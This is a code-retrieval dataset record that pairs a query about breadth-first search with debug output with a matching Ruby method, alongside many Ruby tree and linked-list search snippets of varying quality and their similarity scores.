root.right\n elsif root.right === nil\n return nil\n else\n find(root.right, data)\n end\n elsif root.title != data && root.left != nil #if root is dif from data and left is not empty\n if root.left === data\n return root.left\n else\n find(root.left, data)\n end\n end\n end", "def find(root, data)\n if root.nil?\n nil \n elsif root.title == data\n return root \n elsif root.right != nil \n find(root.right , data)\n elsif root.left != nil \n find(root.left ,data)\n end\n end", "def find(root, data)\n if root.title == data\n return root\n end\n left = find(root.left, data) if root.left\n right = find(root.right, data) if root.right\n left or right\n end", "def find(root, data)\n return nil if !root || data === nil\n return root if root.title === data\n if root.left && root.left.title === data\n return root.left\n elsif root.right && root.right.title === data\n return root.right\n elsif find(root.left, data)\n return find(root.left, data)\n elsif find(root.right, data)\n return find(root.right, data)\n end\n end", "def find(root, data)\n # If the root or the data is nil then return nil\n if root.nil? || data.nil?\n return nil\n else\n # If the root title equals the data then return the root info\n if root.title == data\n return root\n # If the root to the left does not equal nil then rerun the the find method and replace the original root with the one on the left.\n # Is this correct?\n elsif root.left != nil\n find(root.left, data)\n # If the root to the right does not equal nil then rerun the the find method and replace the original root with the one on the right.\n # Is this correct?\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n return unless root && data \n if root.title != data\n target ||= self.find(root.right, data)\n return target if target\n target ||= self.find(root.left, data)\n else\n return root\n end\n end", "def find(root, data)\n return root if root.rating == data\n\n ltree = !root.left.nil? ? find(root.left, data) : nil\n return ltree unless ltree.nil?\n\n !root.right.nil? ? find(root.right, data) : nil\n end", "def find_without_recursion(data)\n puts 'Tree is empty' and return if @root.nil?\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n found = false\n while !q.isEmpty?\n node = q.dequeue\n found = true if node.data == data\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n return found\n end", "def find(root, data)\n if data == nil\n return nil\n elsif root.title == data\n return root\n elsif root.title != data && root.left != nil && root.left.skip == false\n root = root.left\n find(root, data)\n elsif root.title != data && root.right != nil && root.right.skip == false\n root = root.right\n find(root, data)\n else\n root.skip = true\n root = root.parent\n find(root, data)\n end\n end", "def find (data)\n current_node = @head\n\n while current_node\n return current_node if current_node.data == data\n current_node = current_node.next\n end\n\n return nil\n end", "def depth_first_search_pre_order(data)\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n return node_match\n end", "def find value, root_node=@root\n case value <=> root_node.data\n when -1\n find(value, root_node.left)\n when 1\n find(value, root_node.right)\n when 0\n return root_node\n else\n return\n end\n end", "def find(data)\n return nil if @size ==0\n node = @root\n for i in 0...@size \n if node.value == data\n \treturn i\n end\n node=node.next_node\n end\n return nil\n end", "def find(data)\n self.each_with_index do |node, index|\n if node.value == data\n return index\n end\n end\n return \"Data not found\"\n end", "def find(data)\n return nil if @head == nil\n\n index = 0\n found = false\n node = @head\n until node.next_node.nil?\n if node.value == data\n found = true\n break\n end\n index += 1\n node = node.next_node\n end\n\n found = true if node.value == data # to account for the last node\n index = nil unless found\n index\n end", "def depth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # Get next node from the stack\n node = @list.pop\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # Push each child on the stack, making sure the left child\n # will be popped off the stack first (LIFO)\n @list << node.right if node.right\n @list << node.left if node.left\n end\n @list.clear # remove any remaining items from the stack\n\t node\n end", "def find(value, root = @root)\n return nil if root.nil?\n return root if root.data == value\n\n value < root.data ? find(value, root.left) : find(value, root.right)\n end", "def find(data)\n return nil if @head.nil?\n\n self.each_with_index do |current, ind| \n return ind if current.data == data\n end \n \t return nil # not found\t\n end", "def find(data)\n index = 0\n found = false\n current_node = @head\n while found == false && current_node.next_node != nil\n if current_node.value == data\n found = true\n else\n current_node = current_node.next_node\n index += 1\n end\n end\n found == true ? index : nil\n end", "def find(key, node = root)\n return nil if node.nil?\n if key == node.data\n return node\n else\n find(key, left_right(key, node))\n end\n end", "def search(data_to_find, node)\n if data_to_find < node.data && node.left\n search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n search(data_to_find, node.right)\n elsif data_to_find == node.data\n return true\n else\n return false\n end\n end", "def find(value, node = root)\n return node if node.nil? || node.data == value\n \n value < node.data ? find(value, node.left) : find(value, node.right)\n end", "def dfs_rec(data, cur_node = @root)\n node_match = nil\n # no match possible if node is 'nil'\n unless cur_node.nil?\n # check for match\n if cur_node.value == data\n node_match = cur_node\n else\n # check for matches along each child path ('nil' returned = no match found)\n unless cur_node.left_child.nil?\n left_match = dfs_rec(data, cur_node.left_child)\n node_match = left_match unless left_match.nil?\n end\n unless cur_node.right_child.nil?\n right_match = dfs_rec(data, cur_node.right_child)\n node_match = right_match unless right_match.nil?\n end\n end\n end\n return node_match\n end", "def dfs_rec(data)\n @root.each { |node| return node if data == node.data }\n end", "def find_parent(root, data)\n return root if root.id == data.id / 2\n\n ltree = !root.left.nil? ? find_parent(root.left, data) : nil\n return ltree unless ltree.nil?\n\n !root.right.nil? ? find_parent(root.right, data) : nil\n end", "def findParent(root, data, parent=true)\n if root.title == data\n # base case, data matches\n return parent\n else\n if root.left\n left = findParent(root.left, data, root)\n end\n if root.right\n right = findParent(root.right, data, root)\n end\n if left\n return left\n elsif right\n return right\n else\n # no match found toward the left or the right\n return nil\n end\n end\n end", "def find(value)\n curr = @root\n while curr\n return curr if curr.data == value\n\n if value < curr.data\n curr = curr.left\n elsif value > curr.data\n curr = curr.right\n end\n end\n curr\n end", "def breadth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # get next node from the queue\n node = @list.shift\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # place each child in the queue, from left to right\n @list << node.left if node.left\n @list << node.right if node.right\n end\n @list.clear # remove any remaining items from the queue\n\t node\n end", "def find(data)\n\t\t@current_node = @head\n\t\t@index = 0\n\n\t\twhile @current_node.next_node != nil\n\t\t\tif @current_node.data == data\n\t\t\t\treturn index\n\t\t\telse\n\t\t\t\t@index += 1\n\t\t\t\t@current_node = @current_node.next_node\n\t\t\tend\n\t\tend\n\n\t\tif @current_node.data == data #Checks the current tail node\n\t\t\treturn @index\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def find(data)\n i = 0\n node = @head\n while !(node.nil?)\n return i if node.value == data\n node = node.next_node\n i += 1\n end\n return nil\n end", "def find(key)\n if @root.nil?\n return nil\n elsif @root.key == key\n return @root.value\n else\n find_helper(@root, key)\n end\n end", "def find(data)\n if @size == 0\n return nil\n elsif @size == 1\n if @head == data\n return 0\n else\n return nil\n end\n else\n search_index = @head\n index = 0\n while search_index != nil && search_index.value != data\n search_index = search_index.next_node\n index += 1\n end\n return search_index == nil ? nil : index\n end\n end", "def find(data)\n self.traverse_list_with_count do |node, index|\n return index if node.value == data\n end\n end", "def find(el)\n BinarySearchTree.find!(@root, el)\n end", "def find(key)\n if root.nil?\n return nil\n else\n root.find(key)\n end\n end", "def lookup(data, parent=nil)\n return [self, parent] if data == @data\n if data < @data\n return [nil, nil] if @left.nil?\n @left.lookup(data, self)\n else\n return [nil, nil] if @right.nil?\n @right.lookup(data, self)\n end\n end", "def find(key)\n if @root.nil?\n return nil\n end\n\n current_node = @root\n\n while current_node != nil\n if current_node.key == key\n return current_node.value\n elsif current_node.key < key\n current_node = current_node.right\n elsif current_node.key > key\n current_node = current_node.left\n end\n end\n print \"No value found\"\n end", "def find_node(key)\n return nil if @root == nil\n node = @root.find_vertical(key)\n (node.nil? || node.value.nil? ? nil : node)\n end", "def find(value)\n current_node = @root\n until current_node.nil?\n if current_node.data < value\n current_node = current_node.right_child\n elsif current_node.data > value\n current_node = current_node.left_child\n else\n return current_node\n end\n end\n return nil\n end", "def find_data data\n found = self.hash[data]\n if found\n self.current = found\n return found\n end\np \"find_data not found in hash: #{data}\"\n\t\tself.current = self.head\n\t\tloop do\n\t\t\treturn self.current if self.current.data == data\n\t\t\tbreak if (move_next == self.head)\n\t\tend\n\tend", "def find(key)\n # If we are already on nil, just add it here\n return nil if @root.nil?\n #Return the root value if it is the value we are looking for\n return @root.value if @root.key == key\n #Otherwise, call in reinforcements\n return find_helper(@root, key)\n end", "def find(value, current_node = @root)\n # Base case: We found the node or past a leaf node\n return current_node if current_node.nil? || current_node.value == value\n\n return find(value, current_node.left) if value < current_node.value\n\n find(value, current_node.right)\n end", "def find(key)\n return nil if @root.nil?\n\n current = @root\n\n while current != nil\n if key == current.key\n return current.value\n elsif key < current.key\n current = current.left\n else\n current = current.right\n end \n end \n\n return nil\n end", "def bst_search(tree, node)\n locator = tree\n parent = nil\n found = false\n while( !found && locator)\n if node.data < locator.node.data\n # descend left\n parent = locator\n locator = locator.left_child\n elsif node.data > locator.node.data\n # descend right\n parent = locator\n locator = locator.right_child\n else\n found = true\n end\n end\n return found, locator, parent\n end", "def find(obj)\n return nil if empty?\n\n root = @root\n while root\n return root if obj == root.obj\n\n if obj < root.obj\n root = root.left\n else\n root = root.right\n end\n end\n end", "def find(key, node=@root)\n return nil if @root.nil?\n\n if key < node.key\n find(key, node.left)\n elsif key > node.key\n find(key, node.right)\n else\n return node.value\n end\n end", "def search( key, node=@root )\n return nil if node.nil?\n if key < node.key\n search( key, node.left )\n elsif key > node.key\n search( key, node.right )\n else\n return node\n end\n end", "def find(key)\n return nil if @root.nil?\n\n current = @root\n while current\n if key > current.key\n current = current.right\n elsif key < current.key\n current = current.left\n else\n return current.value\n end\n end\n\n return nil\n end", "def breadth_first_search_with_debug(data)\n search_order = [] # For Debug output\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n puts \"Breadth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def find(key)\n return nil if @root == nil\n\n current = @root\n\n until current == nil\n if key == current.key\n return current.value\n elsif key < current.key\n current = current.left\n else\n current = current.right\n end\n end\n\n return nil\n end", "def search_for(arr,val)\n if @root_tree\n if L.debugging || L.info\n L.log arr, \"Finished Adding array -> BST\"\n L.log '', \"Searching BST for -> #{val}\"\n end\n found, locator, parent = @root_tree.bst_search(@root_tree, Node.new(val))\n if L.debugging || L.info\n if found\n L.log parent, \"Found 'parent' #{parent.node.data} in BST\" if (parent && parent.node)\n L.log locator, \"Found 'locator(sub-tree)' for #{locator.node.data}\"\n else\n L.log '', \"Did NOT find #{val} in the BST\"\n end\n end\n return found, locator.node.data if found\n return found, nil if !found\n end\n end", "def depth_search(data_to_find, node)\n if data_to_find < node.data && node.left\n @depth += 1\n depth_search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n @depth += 1\n depth_search(data_to_find, node.right)\n elsif data_to_find == node.data\n @depth += 1\n else\n @depth = 0\n end\n end", "def search(value, &block)\n work_list = [@root]\n\n while !work_list.empty?\n curr_node = yield(work_list)\n\n unless curr_node.value == value\n work_list << curr_node.left_child unless curr_node.left_child.nil?\n work_list << curr_node.right_child unless curr_node.right_child.nil?\n else\n return curr_node\n end\n end\n\n return nil\n end", "def find(key)\n current = @root\n\n while current != nil\n if current.key > key\n current = current.left\n elsif current.key < key\n current = current.right\n else\n return current.value\n end\n end\n return nil\n end", "def find(root, val)\n if root.nil?\n nil\n elsif val < root.val\n find(root.left, val)\n elsif val > root.val \n find(root.right, val)\n else\n root\n end\nend", "def find(key)\n return nil if @root.nil?\n current = @root\n while current != nil\n if key == current.key\n return current.value\n elsif key > current.key \n current = current.right\n else\n current = current.left\n end\n end\n end", "def find(key)\n return nil if @root.nil?\n return find_helper(@root, key)\n end", "def find(value, current_node = root)\n return current_node if current_node.nil? || current_node.value == value\n value < current_node.value ? find(value, current_node.left) : find(value, current_node.right)\n\n end", "def find(value, tree_node = @root)\n current_node = tree_node\n while (current_node)\n if value > current_node.value\n current_node = current_node.right\n elsif value < current_node.value\n current_node = current_node.left\n else\n return current_node\n end\n end\n nil\n end", "def find(value, node = @root)\n return nil if node.nil?\n return node if node.value.eql?(value)\n\n node.value > value ? find(value, node.left) : find(value, node.right)\n end", "def find(key)\n if @root == nil\n return nil\n elsif @root.key == key\n return @root.value\n else\n current_node = @root\n while current_node != nil\n if key == current_node.key\n return current_node.value\n elsif key <= current_node.key\n current_node = current_node.left\n else\n current_node = current_node.right\n end\n end\n end \n end", "def search_recursive(root,target_value)\n\n return root if root.payload == target_value\n\n root.children.each do |child|\n node = search_recursive(child,target_value)\n return node if node\n end\n\n return nil\n\nend", "def find(key)\n current_and_parent_pair = find_current_and_parent_nodes(key)\n if current_and_parent_pair[:current] \n return current_and_parent_pair[:current].value\n else\n return nil\n end\n end", "def depth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n queue.unshift(current_node.left_child) unless current_node.left_child.nil?\r\n queue.unshift(current_node.right_child) unless current_node.right_child.nil?\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end", "def depth_first_search node= self.root, value\n\t\tstack =[node]\n\n\t\twhile stack.length > 0\n\t\t\tcurrent = stack.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tstack.push(current.left) if current.left\n\t\t\tstack.push(current.right) if current.right\n\t\tend\n\tend", "def find(key, current=@root)\n return unless current\n\n return current.value if current.key == key\n return find(key, current.left) if key < current.key\n return find(key, current.right) if key > current.key\n end", "def depth_first_search_pre_order_with_debug(data)\n search_order = [] # For Debug output\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n puts \"Pre_order depth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def find(key)\n current_node = @root \n return find_helper(current_node, key)\n end", "def find(key, current = @root)\n if @root == nil\n return nil\n elsif key == current.key\n return current.value\n elsif key <= current.key\n find(key, current.left)\n else\n find(key, current.right)\n end\n end", "def find(value, node = @root)\n if node.nil?\n return nil\n end\n\n if value < node.value\n return find(value, node.left_node)\n elsif value > node.value\n return find(value, node.right_node)\n else\n return node\n end\n end", "def delete(root, data)\n # finds the data to be deleted and stores as element\n element = find(root, data)\n if element\n # if data was found\n # store what will be the new last index\n last_index = @tree.length - 1\n # store last_index's parent's index\n parent = last_index / 2\n # delete end of tree and store in last_element\n last_element = @tree.pop\n\n # determine if it was a left or right child\n popped_node_was_a_left_child = @tree[parent] && last_index % 2 == 0\n popped_node_was_a_right_child = @tree[parent] && last_index % 2 != 0\n\n # set appropriate child as nil\n if popped_node_was_a_left_child\n @tree[parent].left = nil\n elsif popped_node_was_a_right_child\n @tree[parent].right = nil\n end\n\n # re-set the 'deleted' element's title and rating,\n # effectively removing it and replacing it with what was the last node\n element.title = last_element.title\n element.rating = last_element.rating\n else\n # data was not found, return nil\n return nil\n end\n\n # filter the newly placed node up or down to where it should be in the heap\n filter_down(element)\n filter_up(element)\n end", "def find(data)\n @array.each do |element|\n return @array.index(element) if element.value == data\n end \n return nil \n end", "def find(key)\n node = find_node(key)\n (node == nil ? nil : node.value)\n end", "def search(word)\n node = @root\n word.each_char { |c|\n unless node.children.key?(c)\n return nil\n end\n node = node.children[c]\n }\n return node\n end", "def find(val)\n self.each {|n| return n if n.data == val }\n end" ]
[ "0.82784593", "0.8275606", "0.8269769", "0.82460755", "0.8243444", "0.82096183", "0.8159495", "0.81193894", "0.81172967", "0.80881375", "0.80769527", "0.8070723", "0.8068296", "0.8062668", "0.8058313", "0.8056598", "0.80003446", "0.79880637", "0.7985552", "0.79556835", "0.7955563", "0.7948152", "0.79454094", "0.79313064", "0.7926312", "0.7890876", "0.78702414", "0.7837362", "0.77584237", "0.7748597", "0.7736856", "0.76968807", "0.7646698", "0.74881977", "0.7484233", "0.72198737", "0.70414054", "0.70358986", "0.7010339", "0.69417477", "0.69225156", "0.6873243", "0.6787223", "0.672129", "0.6643883", "0.66301537", "0.6612698", "0.65677565", "0.6539959", "0.6537114", "0.64947796", "0.6481099", "0.6473579", "0.6415009", "0.63468224", "0.6345108", "0.628094", "0.62445325", "0.6219023", "0.6215204", "0.61559266", "0.6139725", "0.6134479", "0.61310863", "0.61255527", "0.61025244", "0.60983974", "0.60692453", "0.6066941", "0.6062427", "0.60574234", "0.60453176", "0.604479", "0.6037769", "0.60368365", "0.6007514", "0.59934926", "0.5986677", "0.59862643", "0.59711975", "0.5964756", "0.5939937", "0.5917908", "0.5915388", "0.5906704", "0.5894788", "0.5894697", "0.5884722", "0.5869366", "0.58686227", "0.58654916", "0.58621687", "0.5861347", "0.5848799", "0.5848775", "0.5846769", "0.58388096", "0.5770505", "0.576952", "0.57450724" ]
0.7376877
35
Same method as breadth_first_search, but with debugging output that lists the number nodes visited, and the actual order visited. Note: Handles case where data searched for and tree are not the same type
def breadth_first_search_with_debug(data) search_order = [] # For Debug output queue = [@root] node_match = nil match_found = false until queue.empty? || match_found || @root.nil? cur_node = queue.first next_node_value = cur_node.nil? ? "nil" : cur_node.value # For Debug output search_order << next_node_value # For Debug output if cur_node.value == data match_found = true node_match = cur_node else queue.push(cur_node.left_child) unless cur_node.left_child.nil? queue.push(cur_node.right_child) unless cur_node.right_child.nil? queue.shift end end puts "Breadth-first search order for nodes visited:" # For Debug output p search_order # For Debug output puts "\nTotal nodes visited: #{search_order.size}" # For Debug output return node_match end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def depth_first_search_pre_order_with_debug(data)\n search_order = [] # For Debug output\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n puts \"Pre_order depth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def depth_first_search\n visited = {}\n timestamp = {}\n tree_edges = {}\n back_edges = {}\n cross_edges = {}\n forward_edges = {}\n count = 0\n\n # begin workaround removing depencency to order of Hash#each\n if @index.empty? then\n preference_of_nodes = nil\n else\n preference_of_nodes = {}.merge(@index)\n i = preference_of_nodes.values.max\n @graph.each_key do |node0|\n preference_of_nodes[node0] ||= (i += 1)\n end\n end\n # end workaround removing depencency to order of Hash#each\n\n dfs_visit = Proc.new { |from|\n visited[from] = true\n timestamp[from] = [count += 1]\n ary = @graph[from].keys\n # begin workaround removing depencency to order of Hash#each\n if preference_of_nodes then\n ary = ary.sort_by { |node0| preference_of_nodes[node0] }\n end\n # end workaround removing depencency to order of Hash#each\n ary.each do |to|\n if visited[to]\n if timestamp[to].size > 1\n if timestamp[from].first < timestamp[to].first\n \t# forward edge (black)\n \tp \"#{from} -> #{to} : forward edge\" if $DEBUG\n \tforward_edges[from] = to\n else\n \t# cross edge (black)\n \tp \"#{from} -> #{to} : cross edge\" if $DEBUG\n \tcross_edges[from] = to\n end\n else\n # back edge (gray)\n p \"#{from} -> #{to} : back edge\" if $DEBUG\n back_edges[from] = to\n end\n else\n # tree edge (white)\n p \"#{from} -> #{to} : tree edge\" if $DEBUG\n tree_edges[to] = from\n dfs_visit.call(to)\n end\n end\n timestamp[from].push(count += 1)\n }\n\n ary = @graph.keys\n # begin workaround removing depencency to order of Hash#each\n if preference_of_nodes then\n ary = ary.sort_by { |node0| preference_of_nodes[node0] }\n end\n # end workaround removing depencency to order of Hash#each\n ary.each do |node|\n unless visited[node]\n dfs_visit.call(node)\n end\n end\n return timestamp, tree_edges, back_edges, cross_edges, forward_edges\n end", "def depth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n stack = [tree[0]]\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n puts current.value\n puts connections.count\n puts \"---\"\n \n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n if connections.count < 1\n stack.pop\n current = stack[-1]\n elsif connections.count == 1\n if visited.include?(connections[0])\n stack.pop\n current = stack[-1]\n else\n current = connections[0]\n stack.push(current)\n visited.push(current)\n end\n else\n if visited.include?(connections[0]) && visited.include?(connections[1])\n stack.pop\n current = stack[-1]\n elsif !visited.include?(connections[0])\n current = connections[0]\n stack.push(current)\n visited.push(current)\n else\n current = connections[1]\n stack.push(current)\n visited.push(current)\n end\n end\n end\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def depth_first_search\n visited = {}\n timestamp = {}\n tree_edges = {}\n back_edges = {}\n cross_edges = {}\n forward_edges = {}\n count = 0\n\n dfs_visit = Proc.new { |from|\n\tvisited[from] = true\n\ttimestamp[from] = [count += 1]\n\t@graph[from].each_key do |to|\n\t if visited[to]\n\t if timestamp[to].size > 1\n\t if timestamp[from].first < timestamp[to].first\n\t\t# forward edge (black)\n\t\tp \"#{from} -> #{to} : forward edge\" if $DEBUG\n\t\tforward_edges[from] = to\n\t else\n\t\t# cross edge (black)\n\t\tp \"#{from} -> #{to} : cross edge\" if $DEBUG\n\t\tcross_edges[from] = to\n\t end\n\t else\n\t # back edge (gray)\n\t p \"#{from} -> #{to} : back edge\" if $DEBUG\n\t back_edges[from] = to\n\t end\n\t else\n\t # tree edge (white)\n\t p \"#{from} -> #{to} : tree edge\" if $DEBUG\n\t tree_edges[to] = from\n\t dfs_visit.call(to)\n\t end\n\tend\n\ttimestamp[from].push(count += 1)\n }\n\n @graph.each_key do |node|\n\tunless visited[node]\n\t dfs_visit.call(node)\n\tend\n end\n return timestamp, tree_edges, back_edges, cross_edges, forward_edges\n end", "def depth_search(data_to_find, node)\n if data_to_find < node.data && node.left\n @depth += 1\n depth_search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n @depth += 1\n depth_search(data_to_find, node.right)\n elsif data_to_find == node.data\n @depth += 1\n else\n @depth = 0\n end\n end", "def traverse_bfs\n q = Queue.new\n q.push @tree\n \n loop do\n break if q.empty?\n node = q.shift\n if block_given?\n yield node\n else\n @visited << node.data\n end\n node.children.each{ |n| q.push n } if node.children\n end\n end", "def traverse\n @result.clear\n @queue.clear\n\n @queue.enqueue(@node)\n @result.push @node\n\n\n while not @queue.empty?\n node = @queue.dequeue\n return @result unless node\n # puts \"Visiting node: #{node}\"\n return node if (@search and node==@search)\n node && node.children.each do |node|\n unless @result.include?(node)\n @result.push(node)\n @queue.enqueue(node)\n end\n end\n end\n return result\n end", "def breadth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n queue = []\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n connections.each do |i|\n if i.value == find\n answer = i\n condition = true\n elsif !visited.include?(i)\n visited.push(i)\n queue.push(i)\n end\n end\n end\n current = queue.shift\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def depth_first_search node= self.root, value\n\t\tstack =[node]\n\n\t\twhile stack.length > 0\n\t\t\tcurrent = stack.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tstack.push(current.left) if current.left\n\t\t\tstack.push(current.right) if current.right\n\t\tend\n\tend", "def depth_first(node, visited = Set.new())\n return nil if visited.include?(node.val)\n\n puts node.val\n visited.add(node.val)\n\n node.neighbors.each do |neighbor|\n depth_first(neighbor, visited);\n end\nend", "def dfs_rec(tree, value, args = {})\r\n verbose = args.fetch(:verbose, false)\r\n return nil if tree == nil \r\n return nil if tree.visited == true\r\n tree.visited = true\r\n return tree if tree.value == value\r\n puts \"current = #{tree}\" if verbose\r\n left = dfs_rec(tree.children[0], value, args)\r\n return left if left != nil\r\n right = dfs_rec(tree.children[1], value, args)\r\n return right # if right != nil\r\n end", "def bfs_search(root)\n queue = []\n\n root.marked = true\n queue.push(root)\n\n while queue.length != 0\n current = queue.shift\n visit(current)\n\n current.adjacent.each do |node|\n if !node.marked\n node.marked = true\n queue.push(node)\n end\n end\n end\nend", "def depth_first_search(tree, value, args = {})\r\n verbose = args.fetch(:verbose, false)\r\n return nil if tree == nil\r\n next_node = [tree]\r\n while !next_node.empty?\r\n current = next_node.pop\r\n if verbose\r\n puts \"current = #{current}\"\r\n puts \"head = #{next_node[0]}\"\r\n end\r\n # visited not strictly necessary for future proofs it \r\n if current.visited == false\r\n current.visited = true\r\n return current if current.value == value\r\n current.children.each { |child| next_node.push child if child } \r\n end\r\n end\r\n nil\r\n end", "def breadth_first_search node= self.root, value\n\t\tqueue = [node]\n\t\twhile queue.length > 0\n\t\t\tcurrent = queue.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tqueue.unshift(current.left) if current.left\n\t\t\tqueue.unshift(current.right) if current.right\n\t\tend\n\tend", "def breadth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # get next node from the queue\n node = @list.shift\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # place each child in the queue, from left to right\n @list << node.left if node.left\n @list << node.right if node.right\n end\n @list.clear # remove any remaining items from the queue\n\t node\n end", "def traverse(order=:bfs,&block)\n reset \n tree = @tree\n\n case order\n when :bfs\n traverse_bfs &block\n when :postorder\n walk(tree,:postorder,&block)\n when :preorder\n walk(tree,:preorder, &block)\n when :inorder\n raise ArgumentError unless tree.kind_of? BinaryTree\n walk(tree,order,&block)\n end\n\n return visited\n end", "def bread_first_search(first)\n puts sprintf(\"%-25s %s\", \"Queue: [ bottom - top ]\", \"Visited list\")\n enqueue(first)\n insert_visited(first)\n print\n\n while !queue.empty?\n element = dequeue # => |V|\n @source.fetch(element).each do |s| \n unless @visited.include?(s) # => |E|\n enqueue(s)\n @T.push([element,s]) \n insert_visited(s) \n end\n end\n print\n end\n # spanning tree\n p @T\n end", "def depth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # Get next node from the stack\n node = @list.pop\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # Push each child on the stack, making sure the left child\n # will be popped off the stack first (LIFO)\n @list << node.right if node.right\n @list << node.left if node.left\n end\n @list.clear # remove any remaining items from the stack\n\t node\n end", "def dfs(node)\n preorder, visited = [], []\n dfs_visit(node, visited, preorder)\n preorder\nend", "def depth_first_search(node)\n return if node.nil?\n node.visit\n node.connections.each do |conn|\n depth_first_search(conn) unless conn.visited\n end\nend", "def depth_first_search(target)\n stack = [@root]\n visited = []\n\n until stack.empty?\n node = stack[-1]\n visited << node\n return \"Found target: #{target} at node #{node}\" if node.value == target\n if node.left && !visited.include?(node.left)\n stack << node.left\n elsif node.right && !visited.include?(node.right)\n stack << node.right\n else\n stack.pop\n end\n end\n end", "def breadth_first_search(target)\n queue = [@root]\n visited = []\n\n until queue.empty?\n node = queue[0]\n visited << node\n return \"Found target: #{target} at node #{node}\" if node.value == target\n if node.left && !visited.include?(node.left)\n queue << node.left\n end\n if node.right && !visited.include?(node.right)\n queue << node.right\n end\n queue.shift\n end\n end", "def depth_first_search!(node)\n node.marked = true\n node.type = \"M\"\n node.adj.each do |n|\n if n.marked == false\n depth_first_search(n)\n end\n end\n end", "def see_tree(tree)\n tree.each do |i|\n puts \"---------------\"\n puts \"Node: #{i.value}\"\n puts \"Parent: \" + i.find_parent[0].value.to_s if i.find_parent.count > 0\n puts \"Left Child: \" + i.find_left_child[0].value.to_s if i.find_left_child.count > 0\n puts \"Right Child: \" + i.find_right_child[0].value.to_s if i.find_right_child.count > 0\n end\nend", "def breadth_first_search(node, search_val = nil)\n return unless node\n visit_queue = [node]\n\n while (!visit_queue.empty?)\n node = visit_queue.shift\n node.visit\n return node if node.value == search_val\n node.connections.each do |conn|\n next if conn.marked\n conn.marked = true\n visit_queue.push(conn)\n end\n end\nend", "def breadth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue << current_node.left_child if not current_node.left_child.nil?\r\n queue << current_node.right_child if not current_node.right_child.nil?\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end", "def dfs(target)\n return self if self.value == target\n # debugger\n self.children.each do |node|\n dfs(node)\n # if node.value == target\n # return node\n # else\n # node.dfs(target)\n # end\n end\n return nil if self.children.empty?\n p new_arr\n end", "def dfs(tree, target)\n\n node_stack = [ ]\n\n #push root\n node_stack.push(tree[0])\n\n # can also set current_node and do 